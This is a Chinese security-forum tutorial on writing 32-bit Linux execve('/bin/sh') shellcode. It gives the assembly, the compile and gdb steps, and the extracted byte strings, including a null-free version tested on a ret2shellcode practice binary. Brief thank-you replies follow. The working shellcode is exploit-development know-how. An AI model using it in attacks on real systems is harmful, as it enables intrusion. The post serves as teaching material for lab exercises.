吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7525|回复: 53
收起左侧

[原创] 一个简单的shellcode如何写

  [复制链接]
cheng_sr 发表于 2021-12-1 12:00

最简单的shellcode

execve("/bin/sh",0,0);

通过简单的汇编将这句shellcode描写出来

eax = 0xb

ebx = "/bin/sh"

ecx = 0

edx = 0

int 0x80

section .text
global  _start
_start:
xor eax,eax   ;eax=0    
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp    ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx    ;ecx=0
xor edx,edx    ;edx=0
mov al,0xb     ;eax=0xb 0xb是execve的系统调用号
int 0x80       ;执行系统调用,64位的话这里用systemcall

通过指令将汇编转化成可执行的二进制文件

$ nasm -f elf shell.asm
$ ld -m elf_i386 -o shell shell.o
$ ./shell

image-20211201095056327

shellcode是如何获取的

我们先通过c程序写一个获取shell的代码

#include<stdio.h>
#include<unistd.h>
void main(){

        execve("/bin/sh",0,0);
}

编译后成功获取shell

image-20211201095827443

首先将c程序转化成我们想要的汇编代码

gcc -S -masm=intel shell.c -o shell.s -m32

image-20211201100650218

这是动态链接的 大体意识是

push 0
push 0
push *"/bin/sh\x00"
call execve

这里有一个问题,如果我们像这样子去构造shellcode我们需要知道execve的调用地址;

当然,我们可以直接来看一下execve调用这些参数干了啥

gdb动态调试一下

image-20211201101531056

这时候我们可以看到execve的三个参数已经入站,准备调用execve函数,我们按s进入函数内部看一下

image-20211201101920828

我们看到他将

三个参数"/bin/sh",0,0分别传给ebx,ecx,edx,然后将0xb传给eax,

最终的到的结果是

eax=0xb
ebx="/bin/sh"
ecx=0
edx=0

我们看到后面还有个函数调用,我们进到里面看一下

image-20211201102704198

这里调用了int 0x80(其他的push pop没啥用,维持栈平衡的)

int 0x80

这里引用知乎上的文章解释int 0x80

https://zhuanlan.zhihu.com/p/358731121

操作系统提供了中断指令int 0x80来主动进入内核,这是用户程序发起的调用访问内核代码的唯一方式

  • 用户程序中包含一段包含int指令的代码,通常是由库函数通过内联汇编插入
  • 操作系统写中断处理,获取想调程序的编号
  • 操作系统根据编号执行相应的代码

调用系统函数时会通过内联汇编代码插入int 0x80的中断指令,(不仅会插入中断指令,还会将系统调用编号设置给 %eax 寄存器)

img

简单的概括就是

int 0x80就是中断指令,执行eax内存储的系统调用号

shellcode中eax=0xb,也就是说execve的系统调用号是0xb

总结以上分析得到的shellcode

eax = 0xb
ebx = /bin/sh
ecx = 0
edx = 0
int 0x80

通过汇编将以上结论描述出来

section .text
global  _start
_start:
xor eax,eax   ;eax=0    
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp    ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx    ;ecx=0
xor edx,edx    ;edx=0
mov al,0xb     ;eax=0xb 0xb是execve的系统调用号
int 0x80       ;执行系统调用,64位的话这里用systemcall

image-20211201105401194

中间这一块机械指令就是我们要的shellcode

shellcode="\x31\xc0\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

这里拿ret2shellcode为例,尝试我们编写的shellcode是否成功

image-20211201115100607

这个shellcode执行失败,里面存在\x00

修改一下,将/bin/sh\x00修改成 /bin//sh

section .text
global  _start
_start:
xor eax,eax   ;eax=0 
push eax      ;将\x00 入栈作为截断
push 0x68732f2f ;//sh
push 0x6e69622f ;/bin
mov ebx,esp    ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx    ;ecx=0
xor edx,edx    ;edx=0
mov al,0xb     ;eax=0xb 0xb是execve的系统调用号
int 0x80       ;执行系统调用,64位的话这里用systemcall
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

image-20211201115205329

ret2shellcode.zip

4.15 KB, 下载次数: 17, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 32威望 +2 吾爱币 +127 热心值 +27 收起 理由
jstsong + 1 + 1 鼓励转贴优秀软件安全工具和文档!
rgzzplus + 1 + 1 谢谢@Thanks!
panghan + 1 谢谢@Thanks!
acesec + 1 等下试试看
jaysong + 1 我很赞同!
Jerry2011 + 1 用心讨论,共获提升!
HarryPotter9 + 1 + 1 热心回复!
Cookiesfly + 1 + 1 用心讨论,共获提升!
1lifedo1thing + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Bizhi-1024 + 1 谢谢@Thanks!
liyuan689 + 1 热心回复!
JinxBoy + 1 谢谢@Thanks!
404undefined + 1 + 1 我很赞同!
AG6 + 1 + 1 我很赞同!
LegendSaber + 1 + 1 我很赞同!
afhack + 1 + 1 谢谢@Thanks!
nekous + 1 + 1 谢谢@Thanks!
victos + 1 + 1 谢谢@Thanks!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
A3uRa + 1 我很赞同!
TonyDog + 1 我很赞同!
5a1t + 1 + 1 用心讨论,共获提升!
石碎大胸口 + 1 + 1 用心讨论,共获提升!
Badao163 + 1 热心回复!
gover + 1 + 1 鼓励转贴优秀软件安全工具和文档!
GY19699 + 1 + 1 谢谢@Thanks!
daofaziran + 1 + 1 谢谢@Thanks!
笙若 + 1 + 1 谢谢@Thanks!
tankcz + 1 + 1 谢谢@Thanks!
Hmily + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
vaycore + 1 + 1 详细易懂
杨辣子 + 1 + 1 感觉能看懂一点点,膜拜大佬

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

wtdcode 发表于 2021-12-2 21:34
https://docs.pwntools.com/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.sh 用pwnlib的话很多都是现成的。
soloxyq 发表于 2021-12-2 00:43
头像被屏蔽
wxf2589 发表于 2021-12-2 06:07
rogxo 发表于 2021-12-2 08:52
新手必备
honghan 发表于 2021-12-2 10:15
学习了    有空试试
Lieyan01 发表于 2021-12-2 20:31
厉害了 围观大佬
dxdxdxdx 发表于 2021-12-2 20:59
有意思,学习一个
caiji1 发表于 2021-12-2 21:12
学习了,学习了
zhf18646277887 发表于 2021-12-2 21:45
学习使人进步
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-25 10:14

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表